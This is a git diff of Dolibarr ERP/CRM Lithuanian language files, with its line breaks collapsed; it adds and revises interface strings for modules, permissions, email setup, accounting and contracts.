      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Parent project not found' Computedpersistent=Store computed field ComputedpersistentDesc=Computed extra fields will be stored in the database, however, the value will only be recalculated when the object of this field is changed. If the computed field depends on other objects or global data this value might be wrong!! ExtrafieldParamHelpPassword=Leaving this field blank means this value will be stored without encryption (field must be only hidden with star on screen).
      Set 'auto' to use the default encryption rule to save password into database (then value read will be the hash only, no way to retrieve original value) @@ -501,7 +503,8 @@ WarningPHPMail=WARNING: The setup to send emails from the application is using t WarningPHPMailA=- Using the server of the Email Service Provider increases the trustability of your email, so it increases the deliverablity without being flagged as SPAM WarningPHPMailB=- Some Email Service Providers (like Yahoo) do not allow you to send an email from another server than their own server. Your current setup uses the server of the application to send email and not the server of your email provider, so some recipients (the one compatible with the restrictive DMARC protocol), will ask your email provider if they can accept your email and some email providers (like Yahoo) may respond "no" because the server is not theirs, so few of your sent Emails may not be accepted for delivery (be careful also of your email provider's sending quota). WarningPHPMailC=- Using the SMTP server of your own Email Service Provider to send emails is also interesting so all emails sent from application will also be saved into your "Sent" directory of your mailbox. -WarningPHPMailD=Also, it is therefore recommended to change the sending method of e-mails to the value "SMTP". If you really want to keep the default "PHP" method to send emails, just ignore this warning, or remove it by setting the MAIN_HIDE_WARNING_TO_ENCOURAGE_SMTP_SETUP constant to 1 in Home - Setup - Other. +WarningPHPMailD=It is therefore recommended to change the sending method of e-mails to the value "SMTP". +WarningPHPMailDbis=If you really want to keep the default "PHP" method to send emails, just ignore this warning, or remove it by %sclicking here%s. WarningPHPMail2=If your email SMTP provider need to restrict email client to some IP addresses (very rare), this is the IP address of the mail user agent (MUA) for your ERP CRM application: %s. WarningPHPMailSPF=If the domain name in your sender email address is protected by a SPF record (ask your domain name registar), you must add the following IPs in the SPF record of the DNS of your domain: %s. ActualMailSPFRecordFound=Actual SPF record found (for email %s) : %s @@ -514,7 +517,7 @@ PageUrlForDefaultValuesCreate=
      Example:
      For the form to create a new third PageUrlForDefaultValuesList=
      Example:
      For the page that lists third parties, it is %s.
      For URL of external modules installed into custom directory, do not include the "custom/" so use a path like mymodule/mypagelist.php and not custom/mymodule/mypagelist.php.
      If you want default value only if url has some parameter, you can use %s AlsoDefaultValuesAreEffectiveForActionCreate=Also note that overwritting default values for form creation works only for pages that were correctly designed (so with parameter action=create or presend...) EnableDefaultValues=Enable customization of default values -EnableOverwriteTranslation=Enable usage of overwritten translation +EnableOverwriteTranslation=Allow customization of translations GoIntoTranslationMenuToChangeThis=A translation has been found for the key with this code. To change this value, you must edit it from Home-Setup-translation. WarningSettingSortOrder=Warning, setting a default sort order may result in a technical error when going on the list page if field is an unknown field. If you experience such an error, come back to this page to remove the default sort order and restore default behavior. Field=Laukas @@ -643,11 +646,13 @@ Module2300Name=Suplanuoti darbai Module2300Desc=Scheduled jobs management (alias cron or chrono table) Module2400Name=Events/Agenda Module2400Desc=Track events. Log automatic events for tracking purposes or record manual events or meetings. This is the principal module for good Customer or Vendor Relationship Management. +Module2430Name=Booking Calendar System +Module2430Desc=Provide an online calendar to allow anyone to book rendez-vous, according to predefined ranges or availabilities. Module2500Name=DMS / ECM Module2500Desc=Document Management System / Electronic Content Management. Automatic organization of your generated or stored documents. Share them when you need. -Module2600Name=API/Web services (SOAP server) +Module2600Name=API / Web services (SOAP server) Module2600Desc=Enable the Dolibarr SOAP server providing API services -Module2610Name=API/Web services (REST server) +Module2610Name=API / Web services (REST server) Module2610Desc=Enable the Dolibarr REST server providing API services Module2660Name=Call WebServices (SOAP client) Module2660Desc=Enable the Dolibarr web services client (Can be used to push data/requests to external servers. Only Purchase orders are currently supported.) @@ -658,6 +663,8 @@ Module2900Name=GeoIPMaxmind Module2900Desc=GeoIP MaxMind konvertavimo galimybes Module3200Name=Unalterable Archives Module3200Desc=Enable an unalterable log of business events. Events are archived in real-time. The log is a read-only table of chained events that can be exported. This module may be mandatory for some countries. +Module3300Name=Module Builder +Module3300Desc=A RAD (Rapid Application Development - low-code and no-code) tool to help developers or advanced users to build their own module/application. Module3400Name=Social Networks Module3400Desc=Enable Social Networks fields into third parties and addresses (skype, twitter, facebook, ...). Module4000Name=Žmogiškųjų išteklių valdymas (HRM) @@ -698,7 +705,10 @@ Module62000Name=Incoterms Module62000Desc=Add features to manage Incoterms Module63000Name=Ištekliai Module63000Desc=Manage resources (printers, cars, rooms, ...) for allocating to events -Permission11=Skaityti klientų sąskaitas +Module66000Name=Enable OAuth2 authentication +Module66000Desc=Provide a tool to generate and manage OAuth2 tokens. The token can then be used by some other modules. +Module94160Name=Receptions +Permission11=Read customer invoices (and payments) Permission12=Sukurti/keisti klientų sąskaitas Permission13=Invalidate customer invoices Permission14=Patvirtinti klientų sąskaitas @@ -842,9 +852,9 @@ Permission286=Eksportuoti adresatus Permission291=Skaityti tarifus Permission292=Nustatyti leidimus tarifams Permission293=Modify customer's tariffs -Permission300=Read barcodes -Permission301=Create/modify barcodes -Permission302=Delete barcodes +Permission301=Generate PDF sheets of barcodes +Permission304=Create/modify barcodes +Permission305=Delete barcodes Permission311=Skaityti paslaugas Permission312=Priskirti servisą / prenumeratą prie sutarties Permission331=Skaityti žymes @@ -940,7 +950,7 @@ Permission1190=Approve (second approval) purchase orders Permission1191=Export supplier orders and their attributes Permission1201=Gauti eksporto rezultatą Permission1202=Sukurti/keisti eksportą -Permission1231=Read vendor invoices +Permission1231=Read vendor invoices (and payments) Permission1232=Create/modify vendor invoices Permission1233=Validate vendor invoices Permission1234=Delete vendor invoices @@ -971,13 +981,14 @@ Permission3301=Generate new modules Permission4001=Read skill/job/position Permission4002=Create/modify skill/job/position Permission4003=Delete skill/job/position -Permission4020=Read evaluations -Permission4021=Create/modify your evaluation -Permission4022=Validate evaluation -Permission4023=Delete evaluation -Permission4030=See comparison menu +Permission4021=Read evaluations (yours and your subordinates) +Permission4022=Create/modify evaluations +Permission4023=Validate evaluation +Permission4025=Delete evaluation +Permission4028=See comparison menu Permission4031=Read personal information Permission4032=Write personal information +Permission4033=Read all evaluations (even those of user not subordinates) Permission10001=Read website content Permission10002=Create/modify website content (html and javascript content) Permission10003=Create/modify website content (dynamic php code). Dangerous, must be reserved to restricted developers. @@ -1081,6 +1092,10 @@ DictionaryAssetDisposalType=Type of disposal of assets TypeOfUnit=Type of unit SetupSaved=Nustatymai išsaugoti SetupNotSaved=Setup not saved +OAuthServiceConfirmDeleteTitle=Delete OAuth entry +OAuthServiceConfirmDeleteMessage=Are you sure you want to delete this OAuth entry ? All existing tokens for it will also be deleted. +ErrorInEntryDeletion=Error in entry deletion +EntryDeleted=Entry deleted BackToModuleList=Back to Module list BackToDictionaryList=Back to Dictionaries list TypeOfRevenueStamp=Type of tax stamp @@ -1222,7 +1237,7 @@ SetupDescription4=%s -> %s

      This software is a suite of m SetupDescription5=Other Setup menu entries manage optional parameters. SetupDescriptionLink=%s - %s SetupDescription3b=Basic parameters used to customize the default behavior of your application (e.g for country-related features). -SetupDescription4b=This software is a suite of many modules/applications. The modules related to your needs must be enabled and configured. Menu entries will appears with the activation of these modules. +SetupDescription4b=This software is a suite of many modules/applications. The modules related to your needs must be activated. Menu entries will appears with the activation of these modules. AuditedSecurityEvents=Security events that are audited NoSecurityEventsAreAduited=No security events are audited. You can enable them from menu %s Audit=Security events @@ -1244,6 +1259,7 @@ AreaForAdminOnly=Setup parameters can be set by administrator users only. SystemInfoDesc=Sistemos informacija yra įvairi techninė informacija, kurią gausite tik skaitymo režimu, ir bus matoma tik sistemos administratoriams. SystemAreaForAdminOnly=This area is available to administrator users only. Dolibarr user permissions cannot change this restriction. CompanyFundationDesc=Edit the information of your company/organization. Click on "%s" button at the bottom of the page when done. +MoreNetworksAvailableWithModule=More social networks may be available by enabling the module "Social networks". AccountantDesc=If you have an external accountant/bookkeeper, you can edit here its information. AccountantFileNumber=Accountant code DisplayDesc=Parameters affecting the look and presentation of the application can be modified here. @@ -1261,6 +1277,7 @@ TriggerActiveAsModuleActive=Trigeriai šiame faile yra aktyvūs, nes modulis GeneratedPasswordDesc=Choose the method to be used for auto-generated passwords. DictionaryDesc=Insert all reference data. You can add your values to the default. ConstDesc=This page allows you to edit (override) parameters not available in other pages. These are mostly reserved parameters for developers/advanced troubleshooting only. +MiscellaneousOptions=Miscellaneous options MiscellaneousDesc=All other security related parameters are defined here. LimitsSetup=Apribojimų/Tikslumo nustatymai LimitsDesc=You can define limits, precisions and optimizations used by Dolibarr here @@ -1294,6 +1311,8 @@ YouMustRunCommandFromCommandLineAfterLoginToUser=Jūs turite paleisti šią koma YourPHPDoesNotHaveSSLSupport=SSL funkcijos negalimos Jūsų PHP DownloadMoreSkins=Parsisiųsti daugiau grafinių vaizdų (skins) SimpleNumRefModelDesc=Returns the reference number in the format %syymm-nnnn where yy is the year, mm is the month and nnnn is a sequential auto-incrementing number with no reset +SimpleRefNumRefModelDesc=Returns the reference number in the format n where n is a sequential auto-incrementing number with no reset +AdvancedNumRefModelDesc=Returns the reference number in the format %syymm-nnnn where yy is the year, mm is the month and nnnn is a sequential auto-incrementing number with no reset SimpleNumRefNoDateModelDesc=Returns the reference number in the format %s-nnnn where nnnn is a sequential auto-incrementing number with no reset ShowProfIdInAddress=Show professional ID with addresses ShowVATIntaInAddress=Hide intra-Community VAT number @@ -1380,7 +1399,7 @@ GetBarCode=Gauti brūkšninį kodą NumberingModules=Numbering models DocumentModules=Document models ##### Module password generation -PasswordGenerationStandard=Return a password generated according to internal Dolibarr algorithm: %s characters containing shared numbers and characters in lowercase. +PasswordGenerationStandard=Return a password generated according to internal Dolibarr algorithm: %s characters containing shared numbers and characters. PasswordGenerationNone=Do not suggest a generated password. Password must be typed in manually. PasswordGenerationPerso=Return a password according to your personally defined configuration. SetupPerso=According to your configuration @@ -1434,6 +1453,10 @@ SuppliersPayment=Vendor payments SupplierPaymentSetup=Vendor payments setup InvoiceCheckPosteriorDate=Check facture date before validation InvoiceCheckPosteriorDateHelp=Validating an invoice will be forbidden if its date is anterior to the date of last invoice of same type. +InvoiceOptionCategoryOfOperations=Display the mention "category of operations" on the invoice. +InvoiceOptionCategoryOfOperationsHelp=Depending on the situation, the mention will appear in the form:
      - Category of operations: Delivery of goods
      - Category of operations: Provision of services
      - Category of operations: Mixed - Delivery of goods & provision of services +InvoiceOptionCategoryOfOperationsYes1=Yes, below the address block +InvoiceOptionCategoryOfOperationsYes2=Yes, in the lower left-hand corner ##### Proposals ##### PropalSetup=Komercinių pasiūlymų modulio nuostatos ProposalsNumberingModules=Komercinių pasiūlymų numeracijos modeliai @@ -1476,11 +1499,12 @@ WatermarkOnDraftContractCards=Vandens ženklas ant sutarčių projektų (nieko j ##### Members ##### MembersSetup=Narių modulio nuostatos MemberMainOptions=Pagrindinės opcijos +MemberCodeChecker=Options for automatic generation of member codes AdherentLoginRequired= Valdyti kiekvieno nario Prisijungimą AdherentMailRequired=Email required to create a new member MemberSendInformationByMailByDefault=Patvirtinimas paukščiuku žymimame langelyje pašto siuntimui nariams (patvirtinimas arba nauja įmoka) yra pagal nutylėjimą MemberCreateAnExternalUserForSubscriptionValidated=Create an external user login for each new member subscription validated -VisitorCanChooseItsPaymentMode=Visitor can choose from available payment modes +VisitorCanChooseItsPaymentMode=Visitor can choose from any available payment modes MEMBER_REMINDER_EMAIL=Enable automatic reminder by email of expired subscriptions. Note: Module %s must be enabled and correctly setup to send reminders. MembersDocModules=Document templates for documents generated from member record ##### LDAP setup ##### @@ -1742,8 +1766,8 @@ ActivateFCKeditor=Įjungti išplėstinį redaktorių: FCKeditorForNotePublic=WYSIWIG creation/edition of the field "public notes" of elements FCKeditorForNotePrivate=WYSIWIG creation/edition of the field "private notes" of elements FCKeditorForCompany=WYSIWIG creation/edition of the field description of elements (except products/services) -FCKeditorForProduct=WYSIWIG creation/edition of the field description of products/services -FCKeditorForProductDetails=WYSIWIG creation/edition of products details lines for all entities (proposals, orders, invoices, etc...). Warning: Using this option for this case is seriously not recommended as it can create problems with special characters and page formatting when building PDF files. +FCKeditorForProductDetails=WYSIWIG creation/edition of products description or lines for objects (lines of proposals, orders, invoices, etc...). +FCKeditorForProductDetails2=Warning: Using this option for this case is seriously not recommended as it can create problems with special characters and page formatting when building PDF files. FCKeditorForMailing= WYSIWIG kūrimas/redagavimas masiniams e-laiškams (Tools-> eMailing) FCKeditorForUserSignature=Vartotojo parašo WYSIWIG kūrimas/redagavimas FCKeditorForMail=WYSIWIG creation/edition for all mail (except Tools->eMailing) @@ -1766,7 +1790,7 @@ DetailMenuHandler=Meniu prižiūrėtojas gali rodyti naują meniu DetailMenuModule=Modulio pavadinimas, jei meniu įrašas gaunamas iš modulio DetailType=Meniu tipas (viršuje arba kairėje) DetailTitre=Meniu etiketė arba etiketės kodas vertimui -DetailUrl=URL, kur meniu Jms nurodo (Absolute URL nuoroda arba išorinė nuoroda su http://) +DetailUrl=URL where menu send you (Relative URL link or external link with https://) DetailEnabled=Sąlyga parodyti, ar ne įrašą DetailRight=Sąlyga parodyti neleidžiamus pilkus meniu punktus DetailLangs=Lang failo pavadinimas etiketės kodo vertimui @@ -1810,6 +1834,9 @@ AGENDA_USE_EVENT_TYPE=Use events types (managed in menu Setup -> Dictionaries -> AGENDA_USE_EVENT_TYPE_DEFAULT=Automatically set this default value for type of event in event create form AGENDA_DEFAULT_FILTER_TYPE=Automatically set this type of event in search filter of agenda view AGENDA_DEFAULT_FILTER_STATUS=Automatically set this status for events in search filter of agenda view +AGENDA_EVENT_PAST_COLOR=Past event color +AGENDA_EVENT_CURRENT_COLOR=Current event color +AGENDA_EVENT_FUTURE_COLOR=Future event color AGENDA_DEFAULT_VIEW=Which view do you want to open by default when selecting menu Agenda AGENDA_REMINDER_BROWSER=Enable event reminder on user's browser (When remind date is reached, a popup is shown by the browser. Each user can disable such notifications from its browser notification setup). AGENDA_REMINDER_BROWSER_SOUND=Enable sound notification @@ -1837,7 +1864,7 @@ StockDecreaseForPointOfSaleDisabledbyBatch=Stock decrease in POS is not compatib CashDeskYouDidNotDisableStockDecease=You did not disable stock decrease when making a sale from Point of Sale. Hence a warehouse is required. CashDeskForceDecreaseStockLabel=Stock decrease for batch products was forced. CashDeskForceDecreaseStockDesc=Decrease first by the oldest eatby and sellby dates. -CashDeskReaderKeyCodeForEnter=Key code for "Enter" defined in barcode reader (Example: 13) +CashDeskReaderKeyCodeForEnter=Key ASCII code for "Enter" defined in barcode reader (Example: 13) ##### Bookmark ##### BookmarkSetup=Žymeklių modulio nustatymas BookmarkDesc=This module allows you to manage bookmarks. You can also add shortcuts to any Dolibarr pages or external web sites on your left menu. @@ -1875,7 +1902,7 @@ SuppliersInvoiceNumberingModel=Vendor invoices numbering models IfSetToYesDontForgetPermission=If set to a non null value, don't forget to provide permissions to groups or users allowed for the second approval ##### GeoIPMaxmind ##### GeoIPMaxmindSetup=GeoIP MaxMind modulio nustatymas -PathToGeoIPMaxmindCountryDataFile=Path to file containing Maxmind ip to country translation.
      Examples:
      /usr/local/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoLite2-Country.mmdb +PathToGeoIPMaxmindCountryDataFile=Path to file containing Maxmind ip to country translation NoteOnPathLocation=Atkreipkite dėmesį, kad Jūsų IP į šalies duomenų bylos turi būti viduje katalogo, kurį Jūsų PHP gali skaityti (Patikrinkite savo PHP open_basedir nustatymus ir failų sistemos leidimus). YouCanDownloadFreeDatFileTo=Galite atsisiųsti MaxMind GeoIP šalies failo nemokamą demonstracinę versiją į %s. YouCanDownloadAdvancedDatFileTo=Taip pat galite atsisiųsti pilnesnę versiją su atnaujinimais, MaxMind GeoIP šalies failą %s. @@ -1926,6 +1953,7 @@ BackupDumpWizard=Wizard to build the database dump file BackupZipWizard=Wizard to build the archive of documents directory SomethingMakeInstallFromWebNotPossible=Installation of external module is not possible from the web interface for the following reason: SomethingMakeInstallFromWebNotPossible2=For this reason, process to upgrade described here is a manual process only a privileged user may perform. +InstallModuleFromWebHasBeenDisabledContactUs=Install or development of external modules or dynamic websites, from the application, is currently locked for security purpose. Please contact us if you need to enable this feature. InstallModuleFromWebHasBeenDisabledByFile=Install of external module from application has been disabled by your administrator. You must ask him to remove the file %s to allow this feature. ConfFileMustContainCustom=Installing or building an external module from application need to save the module files into directory %s. To have this directory processed by Dolibarr, you must setup your conf/conf.php to add the 2 directive lines:
      $dolibarr_main_url_root_alt='/custom';
      $dolibarr_main_document_root_alt='%s/custom'; HighlightLinesOnMouseHover=Highlight table lines when mouse move passes over @@ -2053,6 +2081,8 @@ RemoveSpecialChars=Remove special characters COMPANY_AQUARIUM_CLEAN_REGEX=Regex filter to clean value (COMPANY_AQUARIUM_CLEAN_REGEX) COMPANY_DIGITARIA_CLEAN_REGEX=Regex filter to clean value (COMPANY_DIGITARIA_CLEAN_REGEX) COMPANY_DIGITARIA_UNIQUE_CODE=Duplicate not allowed +RemoveSpecialWords=Clean certain words when generating sub-accounts for customers or suppliers +RemoveSpecialWordsHelp=Specify the words to be cleaned before calculating the customer or supplier account. Use a ";" between each word GDPRContact=Data Protection Officer (DPO, Data Privacy or GDPR contact) GDPRContactDesc=If you store personal data in your Information System, you can name the contact who is responsible for the General Data Protection Regulation here HelpOnTooltip=Help text to show on tooltip @@ -2080,6 +2110,7 @@ MailboxTargetDirectory=Mailbox target directory EmailcollectorOperations=Operations to do by collector EmailcollectorOperationsDesc=Operations are executed from top to bottom order MaxEmailCollectPerCollect=Max number of emails collected per collect +TestCollectNow=Test collect CollectNow=Collect now ConfirmCloneEmailCollector=Are you sure you want to clone the Email collector %s? DateLastCollectResult=Date of latest collect try @@ -2109,6 +2140,7 @@ CodeLastResult=Latest result code NbOfEmailsInInbox=Number of emails in source directory LoadThirdPartyFromName=Load third party searching on %s (load only) LoadThirdPartyFromNameOrCreate=Load third party searching on %s (create if not found) +LoadContactFromEmailOrCreate=Load contact searching on %s (create if not found) AttachJoinedDocumentsToObject=Save attached files into object documents if a ref of an object is found into email topic. WithDolTrackingID=Message from a conversation initiated by a first email sent from Dolibarr WithoutDolTrackingID=Message from a conversation initiated by a first email NOT sent from Dolibarr @@ -2183,6 +2215,7 @@ ShowProjectLabel=Project Label PDF_INCLUDE_ALIAS_IN_THIRDPARTY_NAME=Include alias in thirdparty name THIRDPARTY_ALIAS=Name thirdparty - Alias thirdparty ALIAS_THIRDPARTY=Alias thirdparty - Name thirdparty +PDFIn2Languages=Show labels into PDF in 2 different languages PDF_USE_ALSO_LANGUAGE_CODE=If you want to have some texts in your PDF duplicated in 2 different languages in the same generated PDF, you must set here this second language so generated PDF will contains 2 different languages in same page, the one chosen when generating PDF and this one (only few PDF templates support this). Keep empty for 1 language per PDF. PDF_USE_A=Gererate PDF documents with format PDF/A instead of defaut format PDF FafaIconSocialNetworksDesc=Enter here the code of a FontAwesome icon. If you don't know what is FontAwesome, you can use the generic value fa-address-book. @@ -2211,12 +2244,12 @@ MailToPartnership=Partnership AGENDA_EVENT_DEFAULT_STATUS=Default event status when creating a event from the form YouShouldDisablePHPFunctions=You should disable PHP functions IfCLINotRequiredYouShouldDisablePHPFunctions=Except if you need to run system commands in custom code, you shoud disable PHP functions -PHPFunctionsRequiredForCLI=For shell purpose (like scheduled job backup or running an anitivurs program), you must keep PHP functions +PHPFunctionsRequiredForCLI=For shell purpose (like scheduled job backup or running an antivirus program), you must keep PHP functions NoWritableFilesFoundIntoRootDir=No writable files or directories of the common programs were found into your root directory (Good) RecommendedValueIs=Recommended: %s Recommended=Rekomenduojamas NotRecommended=Not recommended -ARestrictedPath=Some restricted path +ARestrictedPath=Some restricted path for data files CheckForModuleUpdate=Check for external modules updates CheckForModuleUpdateHelp=This action will connect to editors of external modules to check if a new version is available. ModuleUpdateAvailable=An update is available @@ -2264,10 +2297,10 @@ LateWarningAfter="Late" warning after TemplateforBusinessCards=Template for a business card in different size InventorySetup= Inventory Setup ExportUseLowMemoryMode=Use a low memory mode -ExportUseLowMemoryModeHelp=Use the low memory mode to execute the exec of the dump (compression is done through a pipe instead of into the PHP memory). This method does not allow to check that file is completed and error message can't be reported if it fails. +ExportUseLowMemoryModeHelp=Use the low memory mode to generate the dump file (compression is done through a pipe instead of into the PHP memory). This method does not allow to check that the file is complete and error message can't be reported if it fails. Use it if you experience not enough memory errors. ModuleWebhookName = Webhook -ModuleWebhookDesc = Interface to catch dolibarr triggers and send it to an URL +ModuleWebhookDesc = Interface to catch dolibarr triggers and send data of the event to an URL WebhookSetup = Webhook setup Settings = Settings WebhookSetupPage = Webhook setup page @@ -2288,6 +2321,8 @@ IconOnly=Icon only - Text on tooltip only INVOICE_ADD_ZATCA_QR_CODE=Show the ZATCA QR code on invoices INVOICE_ADD_ZATCA_QR_CODEMore=Some Arabic countries need this QR Code on their invoices INVOICE_ADD_SWISS_QR_CODE=Show the swiss QR-Bill code on invoices +INVOICE_SHOW_SHIPPING_ADDRESS=Show shipping address +INVOICE_SHOW_SHIPPING_ADDRESSMore=Compulsory mention for France UrlSocialNetworksDesc=Url link of social network. Use {socialid} for the variable part that contains the social network ID. IfThisCategoryIsChildOfAnother=If this category is a child of another one DarkThemeMode=Dark theme mode @@ -2307,3 +2342,37 @@ UsePassword=Use a password UseOauth=Use a OAUTH token Images=Images MaxNumberOfImagesInGetPost=Max number of images allowed in a HTML field submitted in a form +MaxNumberOfPostOnPublicPagesByIP=Max number of posts on public pages with the same IP address in a month +CIDLookupURL=The module brings an URL that can be used by an external tool to get the name of a thirdparty or contact from its phone number. URL to use is: +ScriptIsEmpty=The script is empty +ShowHideTheNRequests=Show/hide the %s SQL request(s) +DefinedAPathForAntivirusCommandIntoSetup=Define a path for an antivirus program into %s +TriggerCodes=Triggerable events +TriggerCodeInfo=Enter here the trigger code(s) that must generate a post of a web request (only external URL are allowed). You can enter several trigger codes separated by a comma. +EditableWhenDraftOnly=If unchecked, the value can only be modified when object has a draft status +CssOnEdit=Css on edit pages +CssOnView=Css on view pages +CssOnList=Css on list pages +HelpCssOnEditDesc=The Css used when editing the field.
      Example: "minwiwdth100 maxwidth500 widthcentpercentminusx" +HelpCssOnViewDesc=The Css used when viewing the field. +HelpCssOnListDesc=The Css used when field is inside a list table.
      Example: "tdoverflowmax200" +RECEPTION_PDF_HIDE_ORDERED=Hide the quantity ordered on the generated documents for receptions +MAIN_PDF_RECEPTION_DISPLAY_AMOUNT_HT=Show the price on the generated documents for receptions +WarningDisabled=Warning disabled +LimitsAndMitigation=Access limits and mitigation +DesktopsOnly=Desktops only +DesktopsAndSmartphones=Desktops et smartphones +AllowOnlineSign=Allow online signing +AllowExternalDownload=Allow external download (without login, using a shared link) +DeadlineDayVATSubmission=Deadline day for vat submission on the next month +MaxNumberOfAttachementOnForms=Max number of joinded files in a form +IfDefinedUseAValueBeetween=If defined, use a value between %s and %s +Reload=Reload +ConfirmReload=Confirm module reload +WarningModuleHasChangedLastVersionCheckParameter=Warning: the module %s has set a parameter to check its version at each page access. This is a bad and not allowed practice that may make the page to administer modules instable. Please contact author of module to fix this. +WarningModuleHasChangedSecurityCsrfParameter=Warning: the module %s has disabled the CSRF security of your instance. This action is suspect and your installation may no more be secured. Please contact the author of the module for explanation. +EMailsInGoingDesc=Incoming emails are managed by the module %s. You must enable and configure it if you need to support ingoing emails. +MAIN_IMAP_USE_PHPIMAP=Use the PHP-IMAP library for IMAP instead of native PHP IMAP. This also allows the use of an OAuth2 connection for IMAP (module OAuth must also be activated). +MAIN_CHECKBOX_LEFT_COLUMN=Show the column for field and line selection on the left (on the right by default) + +CSSPage=CSS Style diff --git a/htdocs/langs/lt_LT/compta.lang b/htdocs/langs/lt_LT/compta.lang index b0fecf81759..6ff4840d193 100644 --- a/htdocs/langs/lt_LT/compta.lang +++ b/htdocs/langs/lt_LT/compta.lang @@ -29,6 +29,8 @@ BalanceBefore=Balance (before) Balance=Balansas Debit=Debetas Credit=Kreditas +AccountingDebit=Debetas +AccountingCredit=Kreditas Piece=Apskaitos dok. AmountHTVATRealReceived=Grynasis sukauptas AmountHTVATRealPaid=Grynasis apmokėtas @@ -146,9 +148,11 @@ ConfirmPaySalary=Are you sure you want to classify this salary card as paid? DeleteSocialContribution=Delete a social or fiscal tax payment DeleteVAT=Delete a VAT declaration DeleteSalary=Delete a salary card +DeleteVariousPayment=Delete a various payment ConfirmDeleteSocialContribution=Are you sure you want to delete this social/fiscal tax payment ? ConfirmDeleteVAT=Are you sure you want to delete this VAT declaration ? -ConfirmDeleteSalary=Are you sure you want to delete this salary? +ConfirmDeleteSalary=Are you sure you want to delete this salary ? +ConfirmDeleteVariousPayment=Are you sure you want to delete this various payment ? ExportDataset_tax_1=Social and fiscal taxes and payments CalcModeVATDebt=Režimas %sPVM nuo įsipareigojimų apskaitos%s. CalcModeVATEngagement=Režimas %sPVM nuo pajamų-išlaidų%s. @@ -242,12 +246,12 @@ TurnoverPerProductInCommitmentAccountingNotRelevant=The report of Turnover colle TurnoverPerSaleTaxRateInCommitmentAccountingNotRelevant=The report of Turnover collected per sale tax rate is not available. This report is only available for turnover invoiced. CalculationMode=Skaičiavimo metodas AccountancyJournal=Accounting code journal -ACCOUNTING_VAT_SOLD_ACCOUNT=Accounting account by default for VAT on sales (used if not defined on VAT dictionary setup) -ACCOUNTING_VAT_BUY_ACCOUNT=Accounting account by default for VAT on purchases (used if not defined on VAT dictionary setup) -ACCOUNTING_VAT_PAY_ACCOUNT=Accounting account by default for paying VAT -ACCOUNTING_ACCOUNT_CUSTOMER=Accounting account used for customer third parties +ACCOUNTING_VAT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on sales (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on purchases (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_PAY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for paying VAT +ACCOUNTING_ACCOUNT_CUSTOMER=Account (from the Chart Of Account) used for "customer" third parties ACCOUNTING_ACCOUNT_CUSTOMER_Desc=The dedicated accounting account defined on third party card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated customer accounting account on third party is not defined. -ACCOUNTING_ACCOUNT_SUPPLIER=Accounting account used for vendor third parties +ACCOUNTING_ACCOUNT_SUPPLIER=Account (from the Chart of Account) used for the "vendor" third parties ACCOUNTING_ACCOUNT_SUPPLIER_Desc=The dedicated accounting account defined on third party card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated vendor accounting account on third party is not defined. ConfirmCloneTax=Confirm the clone of a social/fiscal tax ConfirmCloneVAT=Confirm the clone of a VAT declaration @@ -287,9 +291,9 @@ ReportPurchaseTurnover=Purchase turnover invoiced ReportPurchaseTurnoverCollected=Purchase turnover collected IncludeVarpaysInResults = Include various payments in reports IncludeLoansInResults = Include loans in reports -InvoiceLate30Days = Invoices late (> 30 days) -InvoiceLate15Days = Invoices late (15 to 30 days) -InvoiceLateMinus15Days = Invoices late (< 15 days) +InvoiceLate30Days = Late (> 30 days) +InvoiceLate15Days = Late (15 to 30 days) +InvoiceLateMinus15Days = Late (< 15 days) InvoiceNotLate = To be collected (< 15 days) InvoiceNotLate15Days = To be collected (15 to 30 days) InvoiceNotLate30Days = To be collected (> 30 days) @@ -298,3 +302,4 @@ InvoiceToPay15Days=To pay (15 to 30 days) InvoiceToPay30Days=To pay (> 30 days) ConfirmPreselectAccount=Preselect accountancy code ConfirmPreselectAccountQuestion=Are you sure you want to preselect the %s selected lines with this accountancy code ? +AmountPaidMustMatchAmountOfDownPayment=Amount paid must match amount of down payment diff --git a/htdocs/langs/lt_LT/contracts.lang b/htdocs/langs/lt_LT/contracts.lang index 589b91882ca..ca10fd6ed79 100644 --- a/htdocs/langs/lt_LT/contracts.lang +++ b/htdocs/langs/lt_LT/contracts.lang @@ -20,6 +20,7 @@ ContractsSubscriptions=Sutartys / Abonentai ContractsAndLine=Sutartys ir sutarčių eilutė Contract=Sutartis ContractLine=Sutarties eilutė +ContractLines=Contract lines Closing=Uždarymas NoContracts=Nėra sutarčių MenuServices=Paslaugos @@ -79,7 +80,7 @@ ConfirmDeleteContractLine=Are you sure you want to delete this contract line? MoveToAnotherContract=Perkelti paslaugą į kitą sutartį ConfirmMoveToAnotherContract=Aš pasirinkto naują sutartį ir patvirtinu, kad noriu perkelti šią paslaugą į šią sutartį. ConfirmMoveToAnotherContractQuestion=Choose in which existing contract (of same third party), you want to move this service to? -PaymentRenewContractId=Atnaujinti sutarties eilutę (numeris %s) +PaymentRenewContractId=Renew contract %s (service %s) ExpiredSince=Galiojimo data NoExpiredServices=Nėra pasibaigusių aktyvių paslaugų ListOfServicesToExpireWithDuration=Paslaugų, kurios baigsis už %s dienų, sąrašas @@ -102,3 +103,5 @@ TypeContact_contrat_external_SALESREPSIGN=Sutartį pasirašančio kliento kontak HideClosedServiceByDefault=Hide closed services by default ShowClosedServices=Show Closed Services HideClosedServices=Hide Closed Services +UserStartingService=User starting service +UserClosingService=User closing service diff --git a/htdocs/langs/lt_LT/datapolicy.lang b/htdocs/langs/lt_LT/datapolicy.lang new file mode 100644 index 00000000000..a2bd6a17064 --- /dev/null +++ b/htdocs/langs/lt_LT/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of 